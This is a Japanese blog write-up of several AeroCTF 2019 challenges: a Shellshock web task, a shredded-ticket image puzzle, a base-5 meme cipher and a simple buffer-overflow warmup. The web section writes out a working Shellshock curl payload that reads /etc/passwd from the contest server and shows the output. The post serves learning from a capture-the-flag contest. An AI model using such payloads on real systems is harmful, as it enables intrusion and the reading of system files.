好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

AeroCTF 2019 write-up

ラッキーなことに、自分の時間が少し取れたので、ちょうど開催されていた AeroCTF をやってみました。
CTF timeのイベントスケジュールで発見。説明を読んでみたものの、

Held with the support of Moscow State University of Civil Aviation (MSTUCA).

という情報しかなく、難易度がさっぱりわからない&時間もそれほど取れないので、ちょっと覗いて見るだけ〜のつもりで…。
SECCON系, CODE BULE, 常設CTF 以外では初の参加。メインがロシア語なのにテンション上がりつつ(※読めない)やってみました。

点数は、warmupは一律 最初から100pt, その他は解けた人数によって 500pt から下がっていく仕組み。下限は100ptかな。

途中でWeb問が一つ、0pointに。Task broken, sorry.と表示されていました。早い者勝ちだったのか、不正があったのか、問題が良くなかったのか?問題もなくなっていたので後者2つのどっちかかな。手を付けてなかったので良かった。解けてたらがっかりだろうなー。こういうのも初めてだった!

f:id:kusuwada:20190309175352p:plain

例によって100点代に落ちた簡単めの問題しか解けていませんが、一応write-upを。

[Web] board tracking system

問題

We develop advanced board tracking system, is it vulnerable? Site: http://81.23.11.159:8080/

解答

指定されたサイトに飛んでみます。こんなページが出力。

f:id:kusuwada:20190309175435p:plain

コードを表示してみます。

<html>
    <head>
       <style>
            body, pre {
                color: #7b7b7b;
                font: 300 16px/25px "Roboto",Helvetica,Arial,sans-serif;
            }
        </style>
   <meta name="generator" content="vi2html">
   </head>
    <body>
    </br>
Welcome to control plane application of Aeroctf system.</br>
</br>
</br>
On a dashboard you can see loading our system</br>
    </br>
Stats:
    </br>
    <iframe frameborder=0 width=800 height=600 src="/cgi-bin/stats"></iframe>
    </body>
</html>

おや、下の方のiframeで、他のパスをcallして情報をとってきて表示しているみたいです。 /cgi-bin/stats
こちらにアクセスしてみると、時刻情報が取れます。

Fri Mar 8 17:21:54 UTC 2019 17:21:54 up 93 days, 2:50, 0 users, load average: 0.09, 0.06, 0.01

いろいろ突っつきまわったりcookieを確認したり、index.html 的なものを探しましたが見当たらず。
今回のシステムの特徴は、 cgi-bin/stats というパスにアクセスさせていることくらいかな、と思ったので、その線でググってみました。
すると、過去の違うCTFのwrite-upがHit!

RITSEC Fall 2018 CTF — Week 6 – Wyatt Tauber – Medium

このサイトの説明によると、 cgi-bin ディレクトリは、2014年9月に発見された ShellShock脆弱性の悪用が可能なことで有名らしい。ShellShockが発表されたときって色々大きな脆弱性が見つかって「ひゃー!」ってお祭り騒ぎしてた頃だよね、懐かしい。
以下、このwrite-upより、google翻訳の引用

Shellshockは、攻撃者が特定のブラウザユーザーエージェントでCGIに頼るWebサイトを訪れた際に任意のコードを実行します すべてのShellshockの悪用は、(){:;の変種で始まります。 ;ブラウザのユーザーエージェントに配置される(開発者コンソールまたはサードパーティのアドオンを介してブラウザ内のユーザーエージェントを変更することによる)か、curlやツールなどの別のアプリケーションを介した要求を使用してユーザーエージェントを送信する

ということで、ShellShockはUAに攻撃コードを仕込むことでShellを取ることができるらしい。攻撃コードも載っている。

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" ${target_url}

このコードで、/etc/passwd を表示させることができるみたい。他のコマンドでも有効。
やってみます。

$ curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://81.23.11.159:8080/cgi-bin/stats

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Aero{c58b51bee681ba3aa3971cef7aa26696}

ん?あれ!まさかの一発目のコマンドでflagが取れた!やった!

[Code] damaged ticket

問題

I left my computer unattended for a while and did not block it. I had a plane ticket on the desktop, someone had damaged it and now I have only small parts of the ticket, as if it had passed through a "shredder". Help me recover the ticket, I have a plane in a couple of hours!

解答

ファイルをDLして解凍すると、600枚ものpng画像が!全部 1×267 の縦長サイズ。
チケットがシュレッダーにかかったみたいになっちゃった!って言ってるので、まぁこれをつなげればチケットが復元できるんでしょう?ということでコードを組んでみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import glob
import pprint
from PIL import Image

def get_concat_h(dst, src, w_index):
    dst.paste(src, (w_index, 0))
    return dst

images = glob.glob("./parts/*")
#images.sort()
pprint.pprint(images)

images_base = Image.open(images[0])
new_img = Image.new('RGB', (images_base.width * len(images), images_base.height))
for i in range(len(images)):
    next_img = Image.open(images[i])
    new_img = get_concat_h(new_img, next_img, images_base.width * i)
new_img.show()

実行結果

$ python wrong.py 
['./parts/3c7781a36bcd6cf08c11a970fbe0e2a6.png',
 './parts/ad13a2a07ca4b7642959dc0c4c740ab6.png',
 './parts/3ef815416f775098fe977004015c6193.png',
 './parts/1385974ed5904a438616ff7bdb3f7439.png',
略

f:id:kusuwada:20190309175505p:plain

うーん、ぐちゃぐちゃ。そうだよね、どういう順番でつなげるか適当だったもんね。
ということで、上のコードでコメントアウトしていた images.sort を有効にして再度実施。ファイル名順でどうだ!

$ python wrong.py 
['./parts/00411460f7c92d2124a67ea0f4cb5f85.png',
 './parts/006f52e9102a8d3be2fe5614f42ba989.png',
 './parts/00ec53c4682d36f5c4359f4ae7bd7ba1.png',
 './parts/01161aaa0b6d1345dd8fe4e481144d84.png',
略

f:id:kusuwada:20190309175523p:plain

うーんぐちゃぐちゃその2。
順番はどうやって決めるの?画像解析して隣に来そうなやつを・・・なんて賢いことやってる時間はなさそうだし…。
ここでお風呂に入る。-> 閃く。
ファイル名が16進の範囲の文字列であること、全て32文字であることから、連番のhash何じゃないかと当たりをつける。
hashアルゴリズムはわからないので、32桁のハッシュが生成されるアルゴリズムを片っ端から試してみることに。

$ MD5 -s 1
MD5 ("1") = c4ca4238a0b923820dcc509a6f75849b
$ find parts/* | grep c4ca4238a0b923820dcc509a6f75849b
parts/c4ca4238a0b923820dcc509a6f75849b.png

おや!1のmd5 hashの値がいる!ほか、2,0 を試してみたけどいました!!ということで、0からの連番のmd5 hashがファイル名になっているようです!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import glob
import hashlib
from PIL import Image

def get_concat_h(dst, src, w_index):
    dst.paste(src, (w_index, 0))
    return dst

images = glob.glob("./parts/*")

images_base = Image.open(images[0])
new_img = Image.new('RGB', (images_base.width * len(images), images_base.height))
for i in range(len(images)):
    filename = './parts/' + hashlib.md5(str(i).encode('utf-8')).hexdigest() + '.png'
    next_img = Image.open(filename)
    new_img = get_concat_h(new_img, next_img, images_base.width * i)
new_img.show()

実行結果

f:id:kusuwada:20190309175602p:plain

[Warmup] crypto_warmup 100pt

問題

Again, these memes, we have even stopped talking to them. Just look at it, they seem to be crazy.

解答

DLしたencryptedファイルはこちら。

kappa_pride pepe kappa 
look_at_this_dude kappa trollface 
look_at_this_dude kappa_pride look_at_this_dude 
look_at_this_dude kappa_pride trollface 
look_at_this_dude look_at_this_dude pepe 
kappa_pride trollface kappa 
pepe look_at_this_dude kappa_pride 
kappa_pride trollface kappa_pride 
trollface look_at_this_dude look_at_this_dude 
trollface look_at_this_dude look_at_this_dude 
pepe look_at_this_dude look_at_this_dude 
pepe look_at_this_dude look_at_this_dude 
look_at_this_dude kappa kappa_pride 
pepe look_at_this_dude pepe 
trollface look_at_this_dude look_at_this_dude 
kappa_pride trollface trollface 
pepe look_at_this_dude look_at_this_dude 
kappa_pride kappa kappa 
look_at_this_dude kappa kappa_pride 
pepe look_at_this_dude kappa_pride 
look_at_this_dude kappa kappa_pride 
look_at_this_dude kappa trollface 
kappa_pride kappa kappa 
kappa_pride trollface kappa_pride 
kappa_pride kappa look_at_this_dude 
trollface look_at_this_dude pepe 
pepe look_at_this_dude pepe 
kappa_pride kappa look_at_this_dude 
look_at_this_dude kappa trollface 
look_at_this_dude kappa trollface 
kappa_pride kappa kappa 
pepe look_at_this_dude look_at_this_dude 
pepe look_at_this_dude pepe 
pepe look_at_this_dude look_at_this_dude 
kappa_pride trollface kappa_pride 
pepe look_at_this_dude look_at_this_dude 
kappa_pride trollface kappa 
trollface kappa kappa kappa 

もうキャーですね。わけわかりません。
最初モールス信号か?と思って試してみたけどなんか違いそう。
構成は、下記の5つの単語のみのようです。

kappa_pride, pepe. kappa, look_at_this_dude, trollface
そして、すべての行は3語、最後の行だけ4語になっています。

もしこの文字列が、一行一文字かつFlagを示していると仮定すると、最初の行が A で、最後の行が } になって欲しい。
さらに、文字列の種類が5つしか無いので、5進数なのでは?とあたりをつけます。
A0x41 => 230(5進), }0x7d => 1000(5進)
おっ、最後の行が特に、4桁になっている、かつ最後の3文字が一緒なので、仮説は正しそう!!!
対応表は下記になります。

0: kappa
1: trollface
2: kappa_pride
3: pepe
4: look_at_this_dude

これらの値で暗号文を置換し、整形するとこうなります。

230 401 424 421 443 210 342 212 144 144 344 344 402 343 144 211 344 200 402 342 402 401 200 212 204 143 343 204 401 401 200 344 343 344 212 344 210 1000

あとはこの5進数をasciiにしていくだけ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

quinary_str = "230 401 424 421 443 210 342 212 144 144 344 344 402 343 144 211 344 200 402 342 402 401 200 212 204 143 343 204 401 401 200 344 343 344 212 344 210 1000"

def Base_n_to_10(X,n):
    out = 0
    for i in range(1,len(str(X))+1):
        out += int(X[-i])*(n**(i-1))
    return out

quinary_list = quinary_str.split()
flag_arr = []
for q in quinary_list:
    flag_arr.append(chr(Base_n_to_10(q, 5)))

print(''.join(flag_arr))

実行結果

$ python quinary.py 
Aero{7a911ccfb18c2fafe2960b6ee2cbc9c7}

[Warmup] pwn_warmup 100pt

問題

Now they have made a server with memes, it has authorization. See if you can get around it.

Server: 185.66.87.233 5004

解答

落としてきたファイルはこちら。

$ file meme_server 
meme_server: ELF 32-bit LSB shared object Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f3fa03bdd74f3fbd76afde7a64db44ffcc3f2dd3, not stripped

実行ファイルのようです。stringsコマンドで、何となくどんな事が書いてあるか覗いてみます。以下、抜粋のみ。

$ strings meme_server 
Memes server
Enter the password: 
[-] Auth error!
meme.txt
File not found!
here is your meme: %s
password.txt
frame_dummy
main.c
strcmp@@GLIBC_2.0
read@@GLIBC_2.0
malloc@@GLIBC_2.0

mallocしてるのが気になります。

深く考えずに、次は指定されたサイトにつなぎに行きます。
なんかパスワード入れろと言われるので、適当に入れます。さっきのコードの断片から、BufferOverflowの可能性がありそうだったので、ちょいと眺めの入力をしてやります。

$ nc 185.66.87.233 5004
Memes server
Enter the password: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
here is your meme: Aero{bf95912df616a3bbfe9a5872674d766b}

あれ!出た!ラッキー!

感想

  • お風呂は閃きがち。
  • Crypto問題なんかいけそうな気がしたんだけど、よく考えたら問題文の意味がわかってなかった気がする。
  • Reversingは結局今回も手が出せなかったなぁ…。
  • 妊婦、すぐ眠くなりがち。トイレ行きたくなりがち。

競技離脱直後は、こんな順位と点数だったのですが

f:id:kusuwada:20190309175637p:plain

最終的にはここまで落ちました。これはこれでつらいʅ(´-ω-`)ʃ 

f:id:kusuwada:20190309180440p:plain

450pt、81位でした。
楽しかった〜!٩(๑❛ᴗ❛๑)۶ よく知らないCTFだったけど、意外と楽しめました。
これを機にちょっと時間があるときはトライしてみようかな。